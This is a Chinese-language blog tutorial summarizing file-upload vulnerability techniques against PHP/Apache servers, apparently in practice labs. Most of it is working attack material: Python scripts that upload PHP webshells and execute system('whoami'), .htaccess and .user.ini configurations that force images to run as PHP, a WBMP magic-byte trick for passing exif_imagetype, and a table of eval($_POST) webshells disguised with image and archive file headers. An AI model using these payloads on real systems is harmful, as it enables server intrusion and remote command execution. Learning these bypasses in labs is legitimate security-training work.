看你自己喜欢什么颜色咯,就这么简单

1
2
3
4
5
6
7
8
9
from PIL import Image

img = Image.new('RGB', (100, 100), 'blue')

# 情况1:文件名没有后缀,手动指定保存为 JPEG
img.save('image_file', format='JPEG')

# 情况2:文件名后缀是 .jpg,但我想保存为 PNG
img.save('image.jpg', format='PNG')

其中format选项如下

1
2
3
4
5
6
7
8
JPEG (或 JPG):最常用的有损压缩格式,适合照片。
PNG:支持无损压缩和透明通道,适合网页图形和图标。
GIF:支持动画和简单透明,颜色限制在256色以内。
BMP:无压缩的位图格式,文件通常较大。
TIFF:高质量图像格式,常用于印刷和专业摄影。
WEBP:由 Google 开发,旨在提供比 JPEG 和 PNG 更好的压缩效率。
ICO:Windows 图标文件格式。
PDF:可以将图像保存为 PDF 文档中的一页。

os模块

在这里只讲几个经常使用的pythonos模块

1
2
3
4
os.remove(file_path)删除文件
os.mkdir('new_dir')创建文件夹
os.rmdir('dir_name')只能删除空的文件夹
os.system()执行命令

制作图片马的时候需要使用命令生成十分方便

threading多线程

多线程是为了后续进行条件竞争准备的

话不多说,直接从代码里面讲解

1
2
3
4
5
6
7
8
from threading import Thread
import time
def p(data):
time.sleep(3)
print(data)
thread = Thread(target=p,args=(1,))
thread.start()
thread.join()

这个代码会输出一个1,它主要的作用是另外创建一个线程执行任务打印data

看到代码的这一行

1
thread = Thread(target=p,args=(1,))

其中target放的是函数名,args放的是函数参数(注意1后面的逗号,这个逗号是必须要有的)

thread.start()这个就是主线程在说:“我等你”。它的作用是让主程序停下来等待子线程完成,防止主程序跑得太快,把子线程给“抛弃”了,join() 是为了同步结束

线程运行结束之后会自己关闭

上面这个代码只是打印了一个1,只是开启了一个新的线程

有没有什么方法可以打印多个1呢?

有的有点的下面这些才是多线程真正的实力

for循环启用多个线程

直接看代码

1
2
3
4
5
6
7
8
9
10
11
12
from threading import Thread
import time
def p(data):
time.sleep(3)
print(data)
threads = []
for i in range(5):
thread = Thread(target=p, args=(1,))
thread.start()
threads.append(thread)
for t in threads:
t.join()

多线程相当于并发,这个的输出效果是5个线程几乎同时开始 sleep(3),3秒后几乎同时醒来打印,总耗时约3秒(不是15秒)

可以看到这次使用了一个列表和两个for循环

threads 列表存放的是 Thread 对象(线程实例),每个代表一个独立的线程,

这些线程实例在.start()的时候就开始运行了

到了这里可以看到实际上并不是同时启动的,使用的是for循环看起来是一起启动的,但是这种差异我们没有必要追究,因为还是多线程本质没有变

到了最后一个for循环了t.join()的意思是等待多线程一起结束

  • 没有 join():父线程一死,子线程全陪葬
  • join():父线程会等着子线程把事情做完,再一起结束

下面介绍一种更加优雅的方式启动线程池

线程池启动多线程

直接看代码

1
2
3
4
5
6
7
8
9
10
11
from concurrent.futures import ThreadPoolExecutor
import time
def p(data):
time.sleep(3)
print(data)
workers = 5
with ThreadPoolExecutor(max_workers=workers) as exe:
i = 0
while i < 100:
exe.submit(p,1)
i +=1

workers是工人,这里有5个工人

这里我使用的是while执行,条件是i<100所以这里有100个任务

所以这个代码的意思是这里有5个工人做100个任务,因为这里使用了sleep执行

所以这里可以明显的感受到每次输出五个1,然后等3秒再输出五个1

同样使用for循环可能还更加简单一点

1
2
3
4
5
6
7
8
9
10
from concurrent.futures import ThreadPoolExecutor
import time

def p(data):
time.sleep(3)
print(data)

with ThreadPoolExecutor(max_workers=5) as exe:
for _ in range(100):
exe.submit(p, 1)

js前端验证

在这里就正式开始文件上传漏洞利用的知识了

话不多说直接开始

通过前端代码可以知道有两个参数一个是file一个是submit,而且没有action字段说明首页就是处理上传文件的页面

1
2
3
4
5
6
7
<form action="" method="post" enctype="multipart/form-data" onsubmit="return checkfilesuffix()">
<div class="form-group">
<label for="exampleFormControlFile1">文章插入图片</label>
<input type="file" class="form-control-file" name="file" id="file">
<input type="submit" name="submit" value="Upload" />
</div>
</form>

服务端的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
header("Content-type: text/html;charset=utf-8");
error_reporting(0);

//设置上传目录
define("UPLOAD_PATH", dirname(__FILE__) . "/upload/");
define("UPLOAD_URL_PATH", str_replace($_SERVER['DOCUMENT_ROOT'], "", UPLOAD_PATH));

$is_upload = false;
if (!file_exists(UPLOAD_PATH)) {
mkdir(UPLOAD_PATH, 0755);
}
if (!empty($_POST['submit'])) {
if (!$_FILES['file']['size']) {
echo "<script>alert('请添加上传文件')</script>";
} else {
$name = basename($_FILES['file']['name']);
if (move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_PATH . $name)) {
$is_upload = true;
} else {
echo "<script>alert('上传失败')</script>";
}
}
}
?>

function checkfilesuffix()
{
var file=document.getElementsByName('file')[0]['value'];
if(file==""||file==null)
{
swal("请添加上传文件", "", "error");
return false;
}
else
{
var whitelist=new Array(".jpg",".png",".gif",".jpeg");
var file_suffix=file.substring(file.lastIndexOf("."));
if(whitelist.indexOf(file_suffix) == -1)
{
swal("只允许上传图片类型的文件!", "", "error");
return false;
}
}
}

function error(){
swal("上传失败", "", "error");
}

在这里可以讲一下js代码

1
2
3
4
5
6
7
8
9
10
11
indexOf()
indexOf() 查找元素在数组中的位置,找到返回索引(≥0),找不到返回 -1

file.lastIndexOf(".")
从右往左找到第一个点(倒着数)
所以说这里是不是就有一个思路了,就是加一点绕过,但是这里没有办法使用:php解析不了

substring一个位置开始截取到一个位置
file_suffix=file.substring(file.lastIndexOf("."));
这个就是从最后一个点开始截取到最后一个字符
得到的是文件扩展名

面对这种,有很多的解法

解法一:抓包

因为是前段验证的问题,可以直接将 shell.php 重命名为 shell.png 上传抓包的时候再将文件名修改为 shell.php 即可绕过前段限制,成功上传 webshell。

解法二:禁用 JS

因为 JS 来校验文件后缀的原因,所以可以直接在浏览器上禁用 JS 这样就可以直接上传文件了。Chrome 内核的浏览器在审查元素的状态下可以找到 Settings 选项,然后找到 「Debugger」 选项下面直接勾选 「Disable JavaScript」即可。

解法三:js调试

img

img

或者是在控制台里面操作

img

解法四:去除前端代码

复制前端的源码,自己创建一个文件,删除存在过滤的js代码

注意表单里面有没有我们要上传的路径

如果没有记得添加剂action

1
<form action="http://upload-labs:9089/Pass-01/index.php" enctype="multipart/form-data" method="post" onsubmit="return checkFile()">

解法五:python脚本

使用python的原理跟burp差不多也是可以绕过前端限制的

1
2
3
4
5
6
7
8
9
10
11
12
import requests
url = 'http://192.168.8.133:30001/'
with open('1.php','rb')as f:
files = {
'file':('1.php',f,'image/png')
}
r = requests.post(url, files=files,data = {'submit':'submit'})
print(r.status_code)

re = requests.get('http://192.168.8.133:30001/upload/1.php')
print(re.status_code)
print(re.text)

.htaccess文件利用

危害怎么大怎么来,要说危害第一肯定是直接上马,第二就是.htaccess文件上传任意解析文件

环境配置

路径:Apache24\conf\httpd.conf

这里注意一下只有apache环境才有.htaccess文件

文件:httpd.conf

位置1:如下代码↓

1
2
3
4
5
6
7
<Directory "${SRVROOT}/htdocs"> 
Options Indexes FollowSymLinks

AllowOverride None (将None改为ALL)

Require all granted
</Directory>

php+HTML

位置2: 去掉注释

1
#LoadModule rewrite_module modules/mod_rewrite.so

使用方法

我们先上传这个文件,.htaccess

在这个文件里面写入内容

这个内容有几种方式

一、特定文件解析为php

1
2
3
<FilesMatch "shell.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

这样使用能将shell.jpg文件解析为php文件

二、特定后缀解析为php

1
AddType application/x-httpd-php .jpg .txt

这个的意思是将jpg和txt解析为php

三、自定义后缀解析为php

1
AddType application/x-httpd-php .aaa

这个姿势就很骚了,这个的意思是将.aaa的文件解析为php

四、自定义文件名解析为php

1
2
3
<FilesMatch "shell.aaa">
SetHandler application/x-httpd-php
</FilesMatch>

这个的意思是将shell.aaa解析为php文件

五、任意文件解析为php

1
SetHandler application/x-httpd-php 

这样的使用危害最大,随便你上传都解析为php文件

小技巧

但是如果存在文件头检测呢

这里需要提一点

.htaccess 是 Apache 服务器的配置文件,对格式要求极其严格,绝不能在文件开头添加任何多余字符,如果你在开头加上 GIF89a,哪怕是换行符,都会导致 Apache 无法解析,直接报 500 Internal Server Error

但是如果服务端使用了文件头检测了怎么办呢?

注意我这里说的文件头检测,是服务端使用的文件头检测函数如下

1
2
3
exif_imagetype()
getimagesize()
finfo_file()

没事问题不大

有方法的

看看效果

image-20260525211143096

定义长宽法

1
2
3
#define width 1337
#define height 1337
AddType application/x-httpd-php .jpg

原理

exif_imagetype()这一类的函数 不只是看文件头魔数

很多人以为 exif_imagetype() 只看文件最前面几个字节,但实际上它对某些格式的检测会扫描文件内容

实际上,#define width 1337#define height 1337 更多是利用了 getimagesize() 的图片尺寸解析功能,而不是 exif_imagetype()

1
2
3
4
5
6
// getimagesize() 对某些格式(特别是 SWF 和 WBMP)的检测不够严格
// getimagesize() 内部逻辑伪代码
if (匹配到 SWF 特征) {
// 解析 width/height
return [宽度, 高度, IMAGETYPE_SWF, ...];
}

SWF 是 Flash 动画文件的格式,全称叫 Shockwave Flash,它就是以前网页上那些小游戏、动画广告、视频播放器用的文件格式,扩展名是 .swf

# 在 Apache 配置中是注释符,所以:

对 Apache:这行完全被忽略,不影响配置解析

对 exif_imagetype/getimagesize:它们看到的是 define width 1337 和 define height 1337,这些字符串中包含 width 和 height 关键字

所以

1
2
3
4
5
在某些 PHP 版本中,getimagesize() 对 SWF 的检测有回退机制:

首先尝试标准方式解析 SWF 的二进制尺寸

如果失败,可能会在文件内容中搜索 widthheight 字符串(这是一个已知的宽松匹配 bug)

远古文件头

那么有没有更加优雅的方式呢?有!如下

使用下面这个代码运行之后得到的.htaccess文件也是可以绕过的

1
2
3
4
payload = b'\x00\x00\x8A\x39\x8A\x39'
payload += b'\nAddType application/x-httpd-php .jpg\n'
with open('.htaccess', 'wb') as f:
f.write(payload)

原理

先要知道什么是wbmp格式

WBMP(Wireless Bitmap)是种古老的无线设备图片格式,它的文件头非常简单

1
2
3
字节1: 类型标识 (固定 0x00)
字节2: 固定头字节 (0x00)
后续字节: 宽高(变长整数编码)

exif_imagetype() 判断 WBMP 的逻辑:

1
2
3
4
5
6
// PHP 源码判断逻辑(简化)
if (buf[0] == 0x00) {
// 第一个字节是 0,可能是 WBMP
// 继续检查后续字节...
return IMAGETYPE_WBMP; // 15
}

然后巧的来了

x00x00x8Ax39x8Ax39 正好命中了WBMP 格式的魔数特征,而且 0x00 在 Apache 配置中会被忽略

所以最终apache解读的文件内容是

1
2
[忽略开头的几个空字节]
AddType application/x-httpd-php .jpg

总结

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
文件内容:
[00 00 8A 39 8A 39]
AddType application/x-httpd-php .jpg


┌─────┴─────┐
↓ ↓
exif_imagetype() Apache 解析
↓ ↓
读到 0x00 忽略 0x00 字节
↓ ↓
判断为 WBMP 正常读取 AddType
↓ ↓
返回 15 .jpg 被当作 PHP 执行
(图片类型)

绕过检测

例子

查看服务端的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
//设置上传目录
define("UPLOAD_PATH", dirname(__FILE__) . "/upload/");
define("UPLOAD_URL_PATH", str_replace($_SERVER['DOCUMENT_ROOT'], "", UPLOAD_PATH));
if (!file_exists(UPLOAD_PATH)) {
mkdir(UPLOAD_PATH, 0755);
}
$is_upload = false;
if (!empty($_POST['submit'])) {
$name = basename($_FILES['file']['name']);
$ext = pathinfo($name)['extension'];
$blacklist = array("php", "php7", "php5", "php4", "php3", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf");
if (!in_array($ext, $blacklist)) {
if (move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_PATH . $name)) {
$is_upload = true;
} else {
echo "<script>error();</script>";
}
} else {
echo "<script>black();</script>";
}

}
?>

可以看到服务端通过使用pathinfo()函数检查文件后缀名字,如果在黑名单里面则报错

这一关使用的就是htaccess文件

.htaccess 文件是 Apache 服务器特有的配置文件,默认启用,用于配置 Apache 服务器,

可以在这个文件里面写入下面这个内容,然后上传

1
AddType application/x-httpd-php .jpg

执行python代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
url = 'http://192.168.8.133:30002/'
with open('1.txt','rb')as f:
files = {
'file':('.htaccess',f,'image/png')
}
r = requests.post(url, files=files,data = {'submit':'submit'})
print(r.status_code)

re = requests.get('http://192.168.8.133:30002/upload/.htaccess')
print(re.status_code)

with open('1.php','rb')as f:
files = {
'file':('1.jpg',f,'image/jpg')
}
r_url = requests.post(url, files=files,data = {'submit':'submit'})
print(r_url.status_code)
re_url = requests.post('http://192.168.8.133:30002/upload/1.jpg',data = {'cmd':'system("whoami");'})
print(re_url.status_code)
print(re_url.text)

对于这种文件的上传也很好限制,黑名单,白名单,和移动文件

1
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; 

这样就可以有效的破坏文件名导致这个文件失效,都可以

.user.ini文件利用

环境配置

使用这个漏洞利用也需要环境要求

服务器以 CGI/FastCGI 模式运行 PHP

.user.ini 文件仅在 CGI/FastCGI SAPI 模式下被 PHP 解析。这是最关键的条件。如果 PHP 以 Apache 模块(mod_php)方式运行,该文件将完全无效

直接在phpinfo里面是可以查看自己的php模式是什么

image-20260525113931085

服务器缓存时间限制

配置指令 user_ini.cache_ttl 控制着 PHP 重新读取 .user.ini 文件的时间间隔,默认值为 300 秒(5分钟)。这意味着上传修改后的配置文件后,最长可能需要等待5分钟才能生效

这个也是可以直接在phpinfo里面看到的

image-20260525114315101

在这里简单讲解一下.user.ini文件是什么

php.ini是网站的全局配置文件

.user.ini是网站目录下的局部配置文件

他们两个的关系跟.htacssas和httpd.canf的关系差不多

所以我们可以上传这个文件,修改一下这个目录下的配置信息

这里再一次强调一下:.user.ini只能用于Server API为FastCGI模式下,phpstudy中的apache正是这个模式,你可以再phpinfo中查看

要注意自己的server api模式是不是正确的

使用方法

.user.ini文件里面的内容可以如下

为了实验的方便我们可以把这个文件修改为立即生效

在php.ini文件里面修改

image-20260525200112838

在使用.user.ini文件的时候文件内容有两种写法

1
2
auto_prepend_file 表示加载第一个PHP代码之前执行指示(包含的)PHP文件
auto_append_file 表示加载第一个PHP代码之后执行指示(包含的)PHP文件

auto_append_file、auto_prepend_file
指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含

一、自动执行文件

1
auto_prepend_file=1.jpg

这个的意思是执行任何 PHP 脚本时,会先自动执行 1.jpg 这个文件(不管它扩展名是什么,都会被当作 PHP 代码解析)

二、读取任意文件

1
auto_prepend_file=D:\phpstudy_pro\WWW\uploadfile\self_test\flag

上传这个文件可以直接包含任意文件然后读取,这样就不需要上传一句话之类的了

大概就这么多了,现在讲解一个注意事项

前面我们讲过这个文件的原理就是文件包含,所以upload目录里面一定要有别的php文件才能使用,不能像.htaccess文件那样上传一个1.jpg就可以直接蚁剑连接

例子

一样是黑名单过滤补全的问题

上传文件

1
auto_prepend_file=1.jpg

这个的意思是预加载1.jpg

然后我们用蚁剑连接服务端自带的php文件即可,(可以使用dirsreach进行爆破文件目录信息)

注意的是有些时候会对文件进行文件头验证

这个时候写的文件内容是

1
2
3
4
5
6
GIF89a
<?=eval($_POST[1]);?>


GIF89a
auto_prepend_file=1.jpg

MIMN文件类型验证

什么是mimn文件类型验证

1
2
3
MIME(Multipurpose Internet Mail Extensions,多用途互联网邮件扩展)是一种标准,用来表示文件的类型和格式。

在 Web 文件上传场景中,MIME 类型由浏览器在 HTTP 请求头中发送,告诉服务器“我上传的是什么类型的文件”

所以这个是在http报文里面出现的,所以之所以我们是可以自己修改的

看到服务端的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
//设置上传目录
define("UPLOAD_PATH", dirname(__FILE__) . "/upload/");
define("UPLOAD_URL_PATH", str_replace($_SERVER['DOCUMENT_ROOT'], "", UPLOAD_PATH));
if (!file_exists(UPLOAD_PATH)) {
mkdir(UPLOAD_PATH, 0755);
}
$is_upload = false;
if (!empty($_POST['submit'])) {
if (!in_array($_FILES['file']['type'], ["image/jpeg", "image/png", "image/gif", "image/jpg"])) {
echo "<script>black();</script>";
} else {
$name = basename($_FILES['file']['name']);
if (move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_PATH . $name)) {
$is_upload = true;
} else {
echo "<script>alert('上传失败')</script>";
}
}
}
?>

在这个代码里面的验证方式是

1
if (!in_array($_FILES['file']['type'], ["image/jpeg", "image/png", "image/gif", "image/jpg"])) {

可见检查的是文件的type类型也就是mime类型

于是使用python脚本如下

1
2
3
4
5
6
7
8
9
10
11
import requests
url = 'http://192.168.8.133:30003/'
with open('1.php','rb')as f:
files = {
'file':('1.php',f,'image/png')
}
r = requests.post(url,files=files,data={'submit':'submit'})
print(r.status_code)
rr = requests.post('http://192.168.8.133:30003/upload/1.php',data={'cmd':'system("whoami");'})
print(rr.status_code)
print(rr.text)

主要伪造的位置是’file’:(‘1.php’,f,’image/png’)

这里有很多mimn文件类型

1
2
3
4
image/jpeg
image/png
image/gif
image/jpg

这个mime类型在http数据包的位置是

1
Content-Type: text/plain

文件头二进制验证

直接看服务端的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}

可以看到这个函数主要读取的是上传文件的前两个字节

对下面这个关键代码做出解释

1
2
3
4
5
6
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';

使用二进制模式+只读模式fopen文件

读取文件二进制的前两个字节

读完之后关闭

unpack() 把二进制数据转成 PHP 数组,C2chars是一种解析模式

  • C = 无符号字符(unsigned char,值范围 0-255)

  • 2 = 解析 2 个

  • chars = 解析后的键名前缀

例子

1
2
3
4
5
6
7
$bin = "\xFF\xD8";  // JPEG 的头
$strInfo = unpack("C2chars", $bin);
// 结果:
// [
// 'chars1' => 255, // 0xFF
// 'chars2' => 216, // 0xD8
// ]

使用该函数解析出来的数组中的键是以chars为开头的

最后把两个数字字符串拼接,然后转整数

各个文件拼接后的效果如下

文件类型 前2字节(HEX) chars1 chars2 $typeCode
JPEG FF D8 255 216 255216
PNG 89 50 137 80 13780
GIF 47 49 71 73 7173
BMP 42 4D 66 77 6677

看到下面这个代码也是同一个道理

1
2
3
4
5
                $file = fopen($_FILES['file']['tmp_name'], "rb");
$bin = fread($file, 4);
fclose($file);
.....
if (!in_array(bin2hex($bin), ["89504E47", "FFD8FFE0", "47494638"]))

这里使用的就是bin2hex函数

作用是把一个包含任意二进制数据的字符串,转换成只包含 0-9 和 a-f 的十六进制字符串

例子

1
2
3
4
$str = 'Hello world!';
$hex = bin2hex($str);

echo $hex; // 输出: 48656c6c6f20776f726c6421

python原始数据添加

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from PIL import Image
import requests
img = Image.new("RGB", (1, 1), "white")
img.save("a.png")
payload = b'<?php @eval($_POST["cmd"]);?>'
with open("a.png", "ab") as f:
f.write(payload)
with open("a.png", "rb") as f:
img_data = f.read()
print(img_data)
print('ok payload')

url = 'http://192.168.8.133:30004/'
with open("a.png", "rb") as f:
files = {
'file':('1.php',f,'image/png')
}
r = requests.post(url, files=files,data={'submit':'submit'})
print(r.status_code)
print(requests.post('http://192.168.8.133:30004/upload/1.php',data={'cmd':'system("whoami");'}).text)

看到上面这个代码,可以知道使用的是f.write(payload)追加数据到图片的最后面

copy命令追加

1
copy a.png/b+1.php/a 1.png

于是就有了下面这个代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import os
from PIL import Image
import requests
img = Image.new("RGB", (1,1), "white")
img.save('a.png')
os.system('copy a.png/b+1.php/a 1.png')
with open('1.png', 'rb') as f:
files = f.read()
print(files)
filed = {
'file':('1.php',files,'image/png')
}
r = requests.post('http://192.168.8.133:30004/', files=filed,data={'submit':'submit'})
print(r.status_code)
os.remove('1.png')
os.remove('a.png')
rr = requests.post('http://192.168.8.133:30004/upload/1.php', data={'cmd':'system("whoami");'})
print(rr.text)

010工具手动修改

我们使用010edtior来修改文件的前两个字节

JPEG/JFIF(常见的照片格式):头两个字节为0xFF、0xD8。

PNG(无损压缩格式):头两个字节为0x89、0x50。

GIF(支持动画的图像格式):头两个字节为0x47、0x49。

BMP(Windows位图格式):头两个字节为0x42、0x4D。

这些值是固定的,我们可以修改文件的这些值从而达到绕过的样子

我们先在一句话木马的前面写上随便两个字符,这里以aa为例

然后用010打开2.php

image.png

将aa改为89和50,我们采用png文件头

image.png

image.png

然后上传2.php

但是我们发现我们上传的文件名被改为了

image.png

如果存在文件包含漏洞的话,我们可以进行文件包含达到运行png文件里面的木马的效果

明文添加的文件格式

下面的操作原理跟使用010一样,只是下面这些文件格式是不需要使用010修改十六进制数据的,只需要明文修改即可

1
2
3
4
5
6
7
8
9
10
11
12
13
GIF89a	GIF 动图	GIF89a<?php @eval($_POST['cmd']);?>
GIF87a GIF 静态图 GIF87a<?php @eval($_POST['cmd']);?>
BM BMP 位图 BM<?php @eval($_POST['cmd']);?>
FWS SWF Flash FWS<?php @eval($_POST['cmd']);?>
CWS SWF Flash 压缩 CWS<?php @eval($_POST['cmd']);?>
II TIFF 图片 II<?php @eval($_POST['cmd']);?>
MM TIFF 图片 MM<?php @eval($_POST['cmd']);?>
PK ZIP 压缩包 PK<?php @eval($_POST['cmd']);?>
Rar! RAR 压缩包 Rar!<?php @eval($_POST['cmd']);?>
%PDF- PDF 文档 %PDF-<?php @eval($_POST['cmd']);?>
FLV FLV 视频 FLV<?php @eval($_POST['cmd']);?>
RIFF WAV/AVI RIFF<?php @eval($_POST['cmd']);?>
ID3 MP3 音频 ID3<?php @eval($_POST['cmd']);?>

文件上传漏洞手法总结
https://exploreio.github.io/2026/04/13/file_upload/
作者
ExploreIO
发布于
2026年4月13日
许可协议